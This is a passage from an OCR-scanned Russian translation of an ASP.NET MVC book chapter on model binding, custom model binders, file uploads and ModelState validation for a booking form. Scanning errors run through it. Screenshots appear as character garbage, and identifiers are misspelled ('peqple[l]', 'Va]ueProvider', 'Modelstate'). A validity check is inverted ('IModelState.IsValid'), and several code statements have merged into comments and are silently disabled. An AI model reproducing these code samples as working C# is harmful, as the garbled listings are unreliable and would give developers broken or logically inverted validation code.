var mypeople = new List<Person>();
UpdateModel(mypeople, "people");
// ...
}
На заметку! В предыдущем примере шаблона представления для ясности обе группы входных элементов управления были записаны вручную. В реальном приложении скорее всего серии групп элементов управления вводом будут генерироваться в цикле <% for (...) { %>. При этом каждую группу можно инкапсулировать в частичное представление и вызывать метод Html .RenderPartial () на каждой итерации цикла.
368 Часть II. ASP.NET MVC во всех деталях
Привязка модели к словарю
Если по какой-то причине метод действия должен принимать словарь вместо массива или списка, потребуется следовать модифицированному соглашению об именовании, которое более явно оперирует ключами и значениями. Например:
<% using(Html.BeginForm("Registerpersons", "Home")) { %>
<h2>First person</h2>
<input type="hidden" name="people[0].key" value="firstKey" />
<div>Name: <%= Html.TextBox("people[0].value.Name")%></div>
<div>Email address: <%= Html.TextBox("people[0].value.Email")%></div>
<div>Date of birth: <%= Html.TextBox("people[0].value.DateOfBirth")%></div>
<h2>Second person</h2>
<input type="hidden" name="people[1].key" value="secondKey" />
<div>Name: <%= Html.TextBox("people[1].value.Name")%></div>
<div>Email address: <%= Html.TextBox("people[1].value.Email")%></div>
<div>Date of birth: <%= Html.TextBox("peqple[l].value.DateOfBirth")%></div>
<input type="submit" />
Будучи привязанными к Dictionary<string, Person> или IDictionary<string, Person>, данные этой формы породят два элемента под ключами f irstKey и secondKey соответственно. При этом получить данные можно следующим образом:
public ActionResult RegisterPersons(IDictionary<string, Person> people)
{
// ...
}
Создание специального средства привязки модели
Выше были описаны правила и соглашения, которые компонент DefaultModelBinder использует для заполнения произвольных типов .NET входными данным. Однако иногда может понадобиться обойти все это и установить совершенно другой способ использования входных данных для заполнения объекта определенного типа. Для этого должен быть реализован интерфейс IModelBinder.
Например, если требуется получить объект XDocument, заполненный данными XML из скрытого поля формы, то нужна будет совершенно другая стратегия привязки. Не имело бы смысла позволять DefaultModelBinder создавать пустой XDocument, а затем пытаться привязать каждое из его свойств, таких как FirstNode, LastNode, Parent и т.д. Вместо этого понадобилось бы вызвать метод Parse () класса XDocument для интерпретации входящей строки XML. Такое поведение можно было бы реализовать с помощью следующего класса (он может быть помещен в любое место проекта ASP.NET MVC):
public class XDocumentBinder : IModelBinder
{
public object BindModel(Controllercontext controllercontext, ModelBindingContext bindingcontext) {
// Получить от поставщика значений неформатированное
// значение после попытки ввода
string key = bindingcontext.ModelName;
ValueProviderResult val = bindingcontext.ValueProvider[key];
if ((val != null) && !string.IsNullOrEmpty(val.AttemptedValue)) {
// Следовать соглашению, сохранив введенные значения в Modelstate bindingcontext.Modelstate.SetModelValue(key, val) ;
Глава 11. Ввод данных 369
// Попытаться разобрать входные данные
string incomingstring = ((string[])val.RawValue)[0];
XDocument parsedXml;
try {
parsedXml = XDocument.Parse(incomingstring);
}
catch (XmlException) {
bindingcontext.Modelstate.AddModelError(key, "Not valid XML"); return null;
}
// Обновить существующую модель или просто вернуть разобранный XML var existingModel = (XDocument)bindingcontext.Model;
if (existingModel != null) {
if (existingModel.Root !=null)
existingModel.Root.ReplaceWith(parsedXml.Root) ;
else
existingModel.Add(parsedXml.Root); return existingModel;
}
else
return parsedXml;
}
// Значение в запросе не найдено return null;
}
}
Код не так сложен, как может показаться на первый взгляд. Все, что должно сделать специальное средство привязки—это принять контекст привязки ModelBindingContext, который предоставляет ModelName (имя или префикс привязываемого параметра) и ValueProvider, от которого можно получить входные данные. Средство привязки должно запросить у поставщика значений неформатированные входные данные и попытаться разобрать их. Если контекст привязки предоставляет существующий объект модели, его потребуется обновить, а в противном случае — вернуть новый экземпляр.
Конфигурирование используемых средств привязки модели
Новое специальное средство привязки модели не будет использоваться в MVC Framework до тех пор, пока это не будет явно указано. При наличии исходного кода XDocument средство привязки можно ассоциировать с типом XDocument, применив атрибут, как показано ниже:
[ModelBinder(typeof(XDocumentBinder))]
public class XDocument
{
// ...
}
Этот атрибут сообщает MVC Framework, что для каждой привязки XDocument должен использоваться специальный класс средства привязки XDocumentBinder. Однако у вас вряд ли есть в распоряжении исходный код XDocument, поэтому взамен придется применять два альтернативных механизма конфигурирования.
Первый механизм предусматривает регистрацию средства привязки с помощью ModelBinders .Binders. Это нужно сделать только однажды, во время инициализации приложения. Например, добавьте в Global. азах. cs следующий код:
370 Часть II. ASRNET MVC во всех деталях
protected void Application_Start() {
RegisterRoutes (pjouteTable.Routes) ;
ModelBinders.Binders.Add(typeof(XDocument), new XDocumentBinder());
}
Второй механизм предусматривает указание средства привязки модели для каждого случая отдельно. Например, для привязки параметров метода действия используется атрибут [ModelBinder]:
public ActionResult MyAction ( [ModelBinder (typeof (XDocumentBinder)) ] XDocument xml) {
// ...
)
К сожалению, при явном вызове привязки модели указание определенного средства привязки модели несколько затруднительно, поскольку по неизвестной причине метод UpdateModel () не имеет перегрузки, которая позволила бы сделать это. Решить проблему можно с помощью приведенного ниже служебного метода, который должен быть добавлен к контроллеру:
private void UpdateModelWithCustomBinder(object model, string prefix, IModelBinder binder, string include, string exclude) {
var modelType = model.GetType();
var bindAttribute = new BindAttribute { Include = include. Exclude = exclude };
var bindingcontext = new ModelBindingContext {
Model = model,
ModelType = modelType,
ModelName = prefix,
ModelState = Modelstate,
Va]ueProvider = ValueProvider,
PropertyFilter = (propName => bindAttribute.IsPropertyAllowed(propName)) };
binder.BindModel(Controllercontext, bindingcontext);
if (IModelState.IsValid)
throw new InvalidOperationException("Error binding " + modelType.FullName);
)
Теперь, имея такой метод, вызывать специальное средство привязки достаточно легко:
public ActionResult MyAction()
I
var doc = new XDocument () ;
UpdateModelWithCustomBinder(doc, "xml", new XDocumentBinder(), null, null); // ...
}
Таким образом, существует несколько способов назначения средства привязки модели. Каким образом в MVC Framework разрешаются конфликтующие настройки? Средства привязки модели выбираются в соответствии со следующим порядком приоритетов.
1.	Средство привязки, явно указанное для данного случая привязки (примером может служить применение атрибута [ModelBinder] к параметру метода действия).
2.	Средство привязки, зарегистрированное в ModelBinders .Binders для целевого типа.
Глава 11. Ввод данных 371
3.	Средство привязки, назначенное с помощью атрибута [ModelBinder] в самом целевом типе.
4.	Средство привязки модели по умолчанию. Обычно им будет DefaultMcdelBinder, но это можно изменить, присвоив экземпляр IModelBinder свойству ModelBinders. Binders. DefaultBinder. Это конфигурируется во время инициализации приложения, например, в методе Application_Start () файла Global.asax. cs.
Совет. Указание средства привязки модели для конкретного случая (т.е. первый способ) имеет максимум смысла, когда вы больше озабочены форматом входных данных, чем типами .NET, на которые они должны отображаться. Например, если иногда требуется принимать данные в формате JSON, то в этом случае стоит создать средство привязки JSON, которое может конструировать объекты произвольного типа. Это средство привязки не обязательно регистрировать глобально для какого-то конкретного типа модели, а просто назначать его в определенных конкретных случаях.
Использование привязки модели для получения загружаемых файлов
Вы должны помнить, что при разработке приложения SportsStore в главе 5 специальное средство привязки модели использовалось для применения экземпляров Cart к определенным методам действий. Методам действий не нужно было знать источник поступления экземпляров Cart — они просто появлялись как параметры метода.
Аналогичный подход применяется в ASP.NET MVC для получения методами действий загружаемых файлов. Методу для этого необходимо всего лишь принять параметр типа HttpPostedFileBase, aASP.NET MVC заполнит его (где возможно) данными, соответствующими загружаемому файлу.
На заметку! Внутри MVC Framework это реализовано в виде специального средства привязки модели под названием HttpPostedFiieBaseModeiBinder. По умолчанию оно зарегистрировано в ModelBinders.Binders.
В качестве примера позволим пользователю загрузить файл, добавив к одному из представлений <form> следующую разметку:
<form action="<%= Url.Action("Uploadphoto") %>"
method="post"
enctype="multipart/form-data">
Upload a photo: <input type="file" name="photo" />
<input type="submit" />
</form>
Прием и обработка загружаемых файлов осуществляется в методе действия: public ActionResult UploadPhoto(HttpPostedFileBase photo) {
// Сохранить файл на диске сервера
string filename = // ... выбрать имя файла
photo.SaveAs(filename);
// . . или работать с данными напрямую
byte[] uploadedBytes = new byte[photo.ContentLength];
photo.Inputstream.Read(uploadedBytes, 0, photo.ContentLength);
// теперь сделать что-нибудь c uploadedBytes
372 Часть II. ASP.NET MVC во всех деталях
На заметку! Дескриптор <form> в предыдущем примере содержал атрибут, который мог показаться незнакомым: enctype="multipart/ form-data". Этот необходимо для успешной загрузки! Если у формы нет такого атрибута, то браузер не сможет загрузить файл — вместо этого он просто отправит имя файла, а коллекция Request. Files будет пустой. (Это особенность работы браузеров, не имеющая отношения к ASP.NET MVC.) Вдобавок форма должна быть отправлена в запросе POST (т.е. method="post"), иначе она не будет содержать никаких файлов.
В данном примере дескриптор <f orm> визуализировался через его запись в виде литеральной HTML-разметки. В качестве альтернативы дескриптор <form> с атрибутом enctype можно сгенерировать с помощью метода Html. BeginForm (), применяя его перегрузку с четырьмя параметрами, в том числе параметр по имени htmlAttributes. С другой стороны, литеральная HTML-разметка отличается большей читабельностью, чем передача множества параметров методу Html. BeginForm ().
Проверка достоверности
Что такое проверка достоверности? Для многих разработчиков это механизм, который позволяет гарантировать, что входные данные соответствуют определенным шаблонам (например, адрес электронной почты имеет форму х@у. z, а имя покупателя не превышает определенной длины). Но как быть с требованиями о том, что имена пользователей должны быть уникальными, или что мероприятия не должны назначаться на дни национальных праздников? Считать их правилами проверки достоверности или бизнес-правилами? Дело в том. что граница между правилами проверки достоверности данных и бизнес-правилами весьма размыта, а то и вовсе не существует.
В рамках архитектуры MVC ответственность за соблюдение всех этих правил возлагается на уровень модели. В конце концов, это правила, которые должны применяться в предметной области (даже если речь идет о требовании к строгости пароля). Возможность определения любого рода бизнес-правил в одном месте с отделением их от конкретной технологии пользовательского интерфейса является ключевым преимуществом проектирования с применением MVC. В результате получаются более простые и надежные приложения, в которых правила не разнесены и не дублируются на разных экранах пользовательского интерфейса. Это пример практического использования принципа не повторяться.
В ASP.NET MVC нет ограничений относительно того, как должна быть реализована модель предметной области. Это объясняется тем, что даже простейший проект библиотеки классов .NET комбинируется со всеми технологиями, существующими в экосистеме .NET, предоставляя при этом широчайший диапазон выбора (например, средства доступа к базе данных). Поэтому для ASP.NET MVC совершенно несвойственно вмешиваться в вага уровень модели и навязывать какой-то специфический механизм соблюдения правил проверки достоверности. В действительности так оно и есть: вы можете реализовать правила так, как вам угодно. Для этого вполне достаточно простого кода С#.
С другой стороны, ASP.NET MVC оказывает помощь в построении пользовательского интерфейса и взаимодействии с пользователями по протоколу HTTP. Для того чтобы помочь включить новые бизнес-правила в общий конвейер обработки запросов, в .NET MVC принято соглашение относительно способов уведомления ASP.NET MVC о возникших ошибках, чтобы шаблоны представлений могли отобразить их пользователю.
Ниже посредством простых примеров включения правил проверки достоверности непосредственно в код контроллера будет показано, как работает это соглашение. Позже вы увидите, как переместить эти правила на уровень модели приложения, консолидируя их с произвольными сложными бизнес-правилами и ограничениями базы данных. При этом исключается повторение кода, но соблюдаются соглашения ASP.NET MVC относительно уведомлений об ошибках.
Глава 11. Ввод данных 373
На заметку! В предыдущих примерах демонстрировался способ реализации проверки достоверности с использованием интерфейса IDataErrorlnfo. Это только один специальный случай в рамках соглашений ASRNET MVC относительно сообщения об ошибках. Для начала мы проанализируем лежащий в основе механизм, а позже вернемся к IDataErrorlnfo.
Регистрация ошибок в Modelstate
Как было показано ранее в главе, система привязки модели MVC Framework в качестве области временного хранения использует Modelstate. В Modelstate хранятся как входные значения, которые пытался ввести пользователь, так и детальная информация об ошибках привязки. Регистрировать ошибки в Modelstate можно и вручную. Это позволит передать информацию об ошибках в представления и даст элементам управления вводом возможность восстановить свое предыдущее состояние после неудачной проверки достоверности или отказа во время привязки модели.
Давайте в качестве примера создадим контроллер по имени Bookingcontroller, который позволит пользователям записываться на прием. Собственно приемы моделируются с помощью следующего класса:
public class Appointment
{
public string ClientName [ get; set; }
public DateTime AppointmentDate { get; set; }
}
Чтобы записаться на прием, пользователь сначала посещает действие MakeBooking контроллера Bookingcontroller:
public class Bookingcontroller : Controller
(
[AcceptVerbs(HttpVerbs.Get)]
public ActionResult MakeBooking()
{
return View();
}
}
Это действие не делает ничего помимо визуализации представления по умолчанию MakeBooking. aspx, которое включает следующую форму:
<% using(Html.BeginForm()) { %>
<Р>
Your name: <%= Html.TextBox("appt.ClientName") %>
</p>
<p>
Appointment date:
<%=Html.TextBox("appt.AppointmentDate", DateTime.Now.ToShortDateStringO) %> </p>
<P>
<%= Html.CheckBox("acceptsTerms") %>
<label for="acceptsTerms">I accept the Terms of Booking</label>
</p>
<input type="submit" value="Place booking" />
374 Часть II. ASP.NET MVC во всех деталях
Обратите внимание, что имена текстовых полей соответствуют свойствам Appointment. Это поможет выполнить привязку модели. В целом метод MakeBooking () визуализирует экран, показанный на рис. 11.1.
hzzp./foca'*’C5t.-51£24;'Bocking.'Jv1akeBcok ng - Windows i,. L45A—
http:/'1©caihe5tS624;'Bccking.'F1fek^Goking ▼ ;	; л *
j Book an appointment
;' Your name:
J j	j
I Appointment date: 12/3*2008
|	I accept die Terms of Booking
i __________________________________ '
% I Placebooking	?
I	;
Рис. 11.1. Начальный экран, визуализируемый
действием MakeBooking
Поскольку шаблон представления включает вызов метода Html .BeginForm (), в котором не указал метод действия для отправки данных, форма отправляет их по сгенерировавшему ее URL. Другими словами, для обработки отправки формы понадобится добавить еще один метод действия по имени MakeBooking (), который будет реагировать на запросы POST. Ниже показано, как в нем могут обнаруживаться и регистрироваться ошибки проверки достоверности:
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult MakeBooking(Appointment appt, bool acceptsTerms)
{
if (string.IsNullOrEmpty(appt.ClientName))
Modelstate.AddModelError("appt.ClientName", "Please enter your name");
// Необходимо ввести имя
if (Modelstate.IsValidField("appt.AppointmentDate")) {
// Значение DateTime разобрано.
// Соответствует ли оно бизнес-правилам приложения?
if (appt.AppointmentDate < DateTime.Now.Date)
Modelstate.AddModelError("appt.AppointmentDate", "The date has passed");
// Эта дата уже прошла
else if ((appt.AppointmentDate - DateTime.Now).TotalDays > 7)
Modelstate.AddModelError("appt.AppointmentDate",
"You can't book more than a week in advance");
// Нельзя записываться раньше, чем за неделю
)
if (!acceptsTerms)
Modelstate.AddModelError("acceptsTerms", "You must accept the terms");
// Необходимо приять условия
if (Modelstate.IsValid) {
// To do: сохранить сведения о записи на прием в базе данных или где-нибудь еще return View("Completed", appt);
} else
return View(); // Визуализировать то же представление, // чтобы пользователь мог исправить ошибки }
Приведенный выше код не претендует на особую элегантность или ясность. Вскоре будет показан более аккуратный способ сделать это, а пока здесь просто демонстрируется самый базовый подход к регистрации ошибок проверки достоверности.
Глава 11. Ввод данных 375
На заметку! Тип DateTime в этом примере используется для того, чтобы показать, что иметь дело с ним очень непросто. Поскольку это тип значения, средство привязки модели зарегистрирует отсутствие входных данных как ошибку, подобно тому, как оно поступает в отношении неверно сформированной строки даты. Чтобы проверить, успешно ли разобрано входное значение, необходимо вызвать метод Modelstate. TsValidField (...). Если разбор завершился неудачей, то нет смысла применять к этому полю любую другую логику проверки достоверности.
Метод действия принимает входные данные формы в качестве параметров через привязку модели. Затем он применяет к ним определенные правила проверки достоверности наиболее очевидным и гибким способом — выполняя простой код С#. Каждое нарушение правила фиксируется в Modelstate, с указанием имени элемента управления вводом, к которому относится ошибка. И, наконец, с помощью метода Modelstate . IsValid (проверяющего наличие зарегистрированных ошибок — либо специальным кодом, либо средством привязки модели) принимается решение о том, принять запись на прием или заново отобразить тот же самый экран ввода данных.
Это очень простой шаблон проверки достоверности данных, и он работает достаточно хорошо. Однако если пользователь введет неверные данные прямо сейчас, то он не увидит сообщений об ошибках, потому что шаблон представления пока не содержит инструкций для их отображения.
Вспомогательные методы представления для вывода информации об ошибках
Простейший путь заставить ваш шаблон представления отображать сообщения об ошибках приведен ниже. Просто поместите вызов Html .Validationsummary () где-то внутри вашего представления. Например:
<% using(Html.BeginForm()) { %>
<%= Html.ValidationSummaryO %>
<P>
... остальной код не меняется ...
Этот вспомогательный метод генерирует маркированный список ошибок, зафиксированных в Modelstate. В случае отправки пустой формы будет получен вывод, показанный на рис. 11.2.
Рис. 11.2. Сообщения об ошибках проверки достоверности, визуализированные методом Html.Validationsummary
376 Часть II. ASP.NET MVC во всех деталях
На этом экране для выделения сообщении об ошибках и элементов управления, к которым они относятся, применяются стили CSS. О том, как это сделать, речь пойдет ниже.
Методу Html. Validationsummary () можно также передать параметр по имени message. Это строка, которая будет визуализирована непосредственно над маркированным списком, если имеется хотя бы одна зарегистрированная ошибка. Например, можно было бы отобразить сообщение о необходимости исправить ошибки и затем отправить форму повторно.
В качестве альтернативы вместо Html .Validationsummary () можно воспользоваться последовательными вызовами вспомогательного метода Html .ValidationMessage () и поместить сообщения об ошибках в разные места представления. Например, обновите MakeBooking.aspx следующим образом:
<% using(Html.BeginFormO) ( %>
<Р>
Your name: <%= Html.TextBox("appt.ClientName") %>
<%= Html.ValidationMessage("appt.ClientName")%>
</p>
<p>
Appointment date:
<%= Html.TextBox("appt.AppointmentDate",DateTime.Now.ToShortDateString()) %>
<%= Html.ValidationMessage("appt.AppointmentDate")%>
</p>
<p>
<%= Html.CheckBox("acceptsTerms") %>
<label for="acceptsTerms">I accept the Terms of Booking</label>
<%= Html.ValidationMessage("acceptsTerms")%>
</p>
<input type="submit" value="Place booking" />
/0.	1
\"c / о/
Теперь отправка пустой формы приведет к отображению экрана, показанного на рис. 11.3.
i v) hiro Мсса?~с^;51624/Еоск(пдДрак£Ёоок‘'’g -	Internet«. . ..........'.'1.^.1.I
I v	<•, httpy !cc3lhasfcSlS24.' Booking-‘MakeBccking
I £	
p Book an appointment
I ? Your name: j; Please enter yawr a:a me
|1 Appointment dare: j	j A vsihie is required.	
h p | I accept the Terms of Booking Y<hi must accept tht imns	J
j! Place becking !	i
Рис. 11.3. Сообщения об ошибках проверки достоверности, визуализированные методом Html .ValidationMessage
Глава 11. Ввод данных 377
С этим экраном связаны два момента.
• Откуда поступает сообщение ‘A value is required” (Значение является обязательным)? Ведь его нет в контроллере! Причина его появления в том, что во встроенном классе DefaultModelBinder жестко закодирована регистрация ряда сообщений об ошибках, связанных, например, с невозможностью разбора входящего значения или отсутствием значения для свойства, не допускающего значение null. В данном случае сообщение появилось потому, что DateTime является типом значения, который не может быть null. К счастью, пользователи редко сталкиваются с такими сообщениями, поскольку можно заполнять поля значениями по умолчанию и предоставлять специальный элемент управления для выбора даты. Вероятность увидеть встроенные сообщения еще ниже, если также используется проверка данных на стороне клиента, о которой речь пойдет ниже.
• Некоторые из элементов управления ввода выделены с помощью фона, указывающего на некорректность введенных в них данных. Встроенные вспомогательные методы HTML для элементов ввода достаточно разумны, чтобы определить факт соответствия элементу Modelstate, который имеет ошибки, и применить при выводе специальный CSS-класс input-validation-error. Это позволяет устанавливать любые правила CSS для выделения полей с неверными данными. Например, можно добавить следующие стили в таблицу стилей, на которую ссылается мастер-страница или шаблон представления:
/* Элемент управления вводом, в котором обнаружена ошибка */ .input-validation-error { border: lpx solid red; background-color: #fee; } /* Текст, визуализированный с помощью Html.ValidationMessage() */ .field-validation-error { color: red; }
/* Текст, визуализированный с помощью Html.ValidationSummary() */ .validation-summary-errors { font-weight: bold; color: red; }
Поддержка состояния элементов ввода
Если теперь отправить форму, частично заполненную данными, то набор сообщений об ошибках соответствующим образом сократится. Например, если введены имя и дата, но не отмечен флажок I accept the Terms of Booking (Принимаю условия записи на прием), будет получен вывод, показанный на рис. 11.4.
i htcoy?	- Windows internet
I	r- . ----------	..	---.
^4»	- http://focaihQsfc51s24*Booking-> MskeBccking	▼ HX’
...
г Book an appointment
I { Your name- Stere
: Appointment date: 12*04/2008
•! l£j I accept die Terms of Booking You most accept the terms	’
i  Place bseiong	;
Рис. 11.4. При отправке частично заполненной формы набор сообщений об ошибках сокращается
378 Часть II. ASP.NET MVC во всех деталях
Здесь следует отметить основной момент: после повторной визуализации формы ранее введенные данные (имя и дата) сохраняются. В ASP.NET WebForms иллюзия сохранения состояния достигается с помощью механизма ViewState, но в ASP.NET MVC такого механизма нет. Каким же образом сохраняется состояние?
И снова в игру вступает соглашение. Оно требует, чтобы элементы управления вводом заполняли себя данными, взятыми из следующих мест, перечисленных в порядке приоритетности.
1.	Значение, введенное во время предыдущей несостоявшейся попытки вода, которое зафиксировано в Modelstate["имя"].Value.AttemptedValue.
2.	Явно указанное значение (например. <%= Html .TextBox {"имя" , "Некоторое значение") %>).
3.	Значение из структуры ViewData, извлекаемое вызовом ViewData .Eval ("имя") (таким образом, ViewData [ "имя" ] отдается преимущество перед ViewData. Model, имя).
Так как средства привязки модели фиксируют все попытки ввода значений в Modelstate независимо от их корректности, встроенные вспомогательные методы HTML естественным образом заново отображают предыдущие значения после сбоя проверки достоверности или привязки модели. И поскольку это имеет максимальный приоритет, даже заменяя явно указанные значения, эти явно указанные значения следует воспринимать как начальные значения элементов управления вводом.
Выполнение проверки достоверности во время привязки модели
Проанализировав работу предыдущего примера записи на прием, можно заметить, что проверка достоверности проходит в два этапа.
•	На первом этапе компонент DefaultMcdelBinder применяет некоторые правила форматирования данных при разборе входящих значений и пытается присвоить их объекту модели. Например, если входное значение appt.AppointmentDate не удается разобрать как DateTime, то DefaultMcdelBinder регистрирует ошибку проверки достоверности в Modelstate.
•	На втором этапе, после завершения привязки модели, метод действия MakeBooking () проверяет привязанные значения на предмет соответствия бизнес-правилам. Если он обнаруживает нарушения этих правил, то также регистрирует их как ошибки в Modelstate.
Вскоре вы узнаете, как усовершенствовать и упростить второй этап проверки достоверности. Но сначала будет показано, каким образом DefaultMcdelBinder выполняет проверку достоверности, и как настроить этот процесс по своему усмотрению.
В классе DefaultMcdelBinder предусмотрены четыре виртуальных метода, которые связаны с проверкой входных данных. Все они перечислены в табл. 11.2.
Если во время привязки модели возникают какие-либо ошибки разбора или исключения установки значения свойства, то компонент DefaultMcdelBinder также их перехватывает и регистрирует как ошибки в Modelstate.
Поведение по умолчанию, описанное в табл. 11.2, отражает работу встроенной в каркас MVC Framework поддержки интерфейса IDataErrorInfo. Если класс модели реализует этот интерфейс, он будет запрашиваться для проверки достоверности во время привязки данных. Именно этот механизм лежал в основе проверки достоверности в примерах приложений Partyinvites в главе 2 и SportsStore в главах 4-6.
Глава 11. Ввод данных 379
Таблица 11.2. Переопределяемые методы проверки достоверности ИЗ класса DefaultModelBinder
Метод	Описание	Поведение по умолчанию
OnModelUpdat ing	Запускается в момент, когда DefaultModelBinder собирается обновить значения всех свойств специального объекта модели. Возвращает значение bool, означающее разрешение или запрет выполнения привязки.	Ничего не делает; просто возвращает true.
OnModelUpdated	Запускается после попытки DefaultModelBinder обновить значения всех свойств специального объекта модели.	Проверяет, реализует ли объект модели интерфейс IDataErrorlnfo. Если да, запрашивает его свойство Error для нахождения любого сообщения об ошибке уровня объекта и регистрирует непустое значение как ошибку в Modelstate.
OnPropertyValidating	Запускается каждый раз, когда DefaultModelBinder собирается применить значение к свойству специального объекта модели. Возвращает значение bool, говорящее о том, следует ли применять значение.	Если тип свойства не допускает значения null, а входящее значение равно null, регистрирует ошибку в Modelstate и блокирует значение, возвращая false. Иначе возвращает true.
OnPropertyValidated	Запускается каждый раз, когда DefaultModelBinder применяет значение к свойству специального объекта модели.	Проверяет, реализует ли объект модели IDataErrorlnfo. Если да, опрашивает индексированное свойство this [propertyName] в поисках сообщений об ошибке уровня свойства, после чего регистрирует любое непустое значение как ошибку в Modelstate.
Для реализации другого вида проверки достоверности во время привязки данных можно создать класс, унаследованный от DefaultModelBinder, и переопределить в нем соответствующие методы, перечисленные в табл. 11.2. Затем специальное средство привязки необходимо подключить к MVC Framework, добавив следующую строку в файл Global. asax. cs:
protected void Application_Start()
{
RegisterRoutes(RouteTable.Routes);
ModelBinders.Binders.DefaultBinder = new MyModelBinder();
)
Однако потребность в наследовании DefaultModelBinder возникает редко, особенно в качестве способа соблюдения бизнес-правил. По умолчанию компонент DefaultModelBinder сам обнаруживает и выдает простые сообщения об ошибках разбора. Но привязка модели — это всего лишь внешняя инфраструктура, которая собирает входящие данные из пар “ключ/значение" HTTP-запроса в объекты .NET. Так почему же она должна отвечать за определение или соблюдение бизнес-правил?
Бизнес-правила должны соблюдаться на уровне предметной области. В противном случае модель предметной области вообще не нужна. Давайте теперь рассмотрим способы реализации бизнес-правил.
380 Часть II. ASP.NET MVC во всех деталях
Перенос логики проверки достоверности на уровень модели
К этому моменту уже должно быть понятно, как в ASP.NET MVC регистрируются нарушения правил, как соответствующие сообщения отображаются в представлениях и каким образом сохраняются значения, указанные при попытках ввода. В рассматриваемом примере с записью на прием специальные правила проверки достоверности были реализованы встраиванием в метод действия. Это нормально для небольших приложений, но приводит к тесной связи определения и реализации бизнес-логики с конкретным пользовательским интерфейсом. Такая тесная связь является вполне приемлемой практикой в ASP.NET WebForms, поскольку эта платформа предлагает встроенные элементы управления проверкой достоверности. Однако при этом не достигается идеального разделения ответственности, и со временем возникают следующие практические проблемы.
•	Повторение. Устанавливаемые правила приходится дублировать в каждом пользовательском интерфейсе, к которому они применяются. Как и любое нарушение принципа “не повторяться”, повторение приводит к лишней работе и открывает возможности для несогласованности.
•	Неясность. Без единого централизованного определения бизнес-правил потеря контроля над разрабатываемым проектом — всего лишь вопрос времени. Вы не сможете упрекнуть нового члена команды разработки в том, что в созданном средстве он проигнорировал какое-то запутанное правило; ведь никто ему не объяснил необходимость его соблюдения.
•	Ограниченный выбор технологий. Из-за того, что модель предметной области зависит от конкретной технологии пользовательского интерфейса, не удается легко построить новый клиент на основе SHverllght или, кажем, версию приложения для iPhone без необходимости заново реализовывать все бизнес-правила, даже если они определены.
•	Произвольное расхождение между правилами проверки достоверности и бизнес правилами. Конечно, добавление к форме чего-то вроде “средства проверки заполнения обязательного поля” может быть и удобно, но как насчет таких правил, как “имена пользователей должны быть уникальными" или “только привилегированные клиенты могут приобретать товар при ограниченном его количестве”? Это нечто большее, чем проверка достоверности в рамках пользовательского интерфейса. Но почему зти правила должны быть реализованы по-разному?
Интерфейс IDataErrorlnfo
В приведенных ранее примерах было показано, что для присоединения логики проверки достоверности к классам модели можно использовать интерфейс IDataErrorlnfo. Это делается легко и хорошо подходит для небольших приложений. Однако при разработке крупного приложения необходимо масштабировать его сложность. В связи с этим возможностей интерфейса IDataErrorlnfo может не хватить по следующим причинам.
•	Как упоминалось ранее, на самом деле привязка модели не должна заниматься соблюдением бизнес-правил. Почему уровень модели должен полагаться на то, что уровень пользовательского интерфейса (т.е. контроллеры и действия) корректно выполнит проверку достоверности? Для гарантии соответствия проверка достоверности все равно должна завершаться моделью предметной области.
•	Вместо проверки достоверности состояния объектов часто имеет больше смысла проверить корректность выполняемой операции. Например, может потребоваться внедрить правило, гласящее, что запись на прием в выходные дни не разре
Глава 11. Ввод данных 381
шена никому, кроме менеджеров, обладающих определенными полномочиями. В этом случае речь идет не о действительности или недействительности записи на прием, а о корректности самой операции. Такую логику легко реализовать непосредственно в методе PlaceBooking (booking) на уровне предметной области, но добиться того же самого за счет присоединения интерфейса IDataErrorlnfo к объекту модели Booking довольно непросто.
•	Интерфейс IDataErrorlnfo не предлагает никаких средств сообщения о множественных ошибках, относящихся к одному свойству, или множественных ошибках, относящихся ко всему объекту модели, кроме конкатенации всех сообщений в одну строку.
•	Компонент DefaultMcdelBinder пытается применить значение к свойству только тогда, когда в запрос включена соответствующая пара "ключ/значение”. В принципе обойти проверку достоверности определенного свойства можно, просто удалив пару “ключ/значение” из НТГР-запроса.
Это не признание непригодности интерфейса IDataErrorlnfo. Он удобен во многих случаях, в частности, в небольших приложениях с менее четкой ролью модели предметной области. Именно поэтому он используется в различных примерах настоящей книги. Однако в более крупных приложениях полный контроль над операциями предметной области лучше предоставить уровню модели этой предметной области.
Реализация проверки достоверности в операциях модели
Достаточно абстрактной теории — давайте обратимся к коду. Предоставить коду предметной области право блокировать определенные операции (вроде сохранения записей или фиксации транзакций), если он решит, что правила нарушены, на самом деле очень просто.
Предположим, что в предыдущем примере объект Appointment может быть зафиксирован или сохранен вызовом метода Save (), реализованного следующим образом:
public void Saved
{
var errors = GetRuleViolations();
if (errors.Count > 0)
throw new RuleException(errors);
// Todo: сохранить в базе данных или в каком-то другом месте
)
private NameValueCollection GetRuleViolations ()
{
var errors = new NameValueCollection();
if (string.IsNullOrEmpty(ClientName))
errors.Add("ClientName", "Please enter your name");
// Необходимо ввести имя
if (AppointmentDate == DateTime.MinValue)
errors.Add("AppointmentDate", "AppointmentDate is required");
// Необходимо ввести AppointmentDate else {
if (AppointmentDate < DateTime.Now.Date)
errors.Add("AppointmentDate", "The date has passed");
// Эта дата уже прошла
else if ((AppointmentDate - DateTime.Now).TotalDays > 7)
errors.Add("AppointmentDate", "You can't book more than a week in advance") ;
// Нельзя записываться раньше, чем за неделю
) return errors;
)
382 Часть II. ASP.NET MVC во всех деталях
Теперь объект модели Appointment берет на себя ответственность за соблюдение собственных правил. Не важно, сколько разных контроллеров и методов действий (или совершенно других технологий пользовательского интерфейса) попытаются сохранять объекты Appointment — все они будут субъектами одних и тех же правил, нравятся они им или нет.
А что насчет исключения RuleException? Это простой специальный тип исключения, который может хранить коллекцию сообщений об ошибках. Его можно поместить в проект модели предметной области и применять повсюду в решении. Ниже приведено определение класса RuleException:
public class RuleException : Exception {
public NameValueCollection Errors { get; private set; }
public RuleException(string key, string value) {
Errors = new NameValueCollection { {key, value} };
}
public RuleException(NameValueCollection errors) { Errors = errors;
}
// Заполнить ModelStateDictionary для генерации отклика
//в пользовательском интерфейсе
public void CopyToModelState (ModelStateDictionary modelstate, string prefix) {
foreach (string key in Errors)
foreach (string value in Errors.GetValues(key) ) modelstate.AddModelError(prefix +	+ key, value);
}
}
На заметку! В случае помещения RuleException в проект модели предметной области без установки ссылки на сборку System.Web.Mvc.dll обращаться к типу ModelStateDictionary непосредственно из RuleException будет невозможно. Вместо этого CopyToModelState () придется реализовать в проекте MVC как расширяющий метод RuleException.
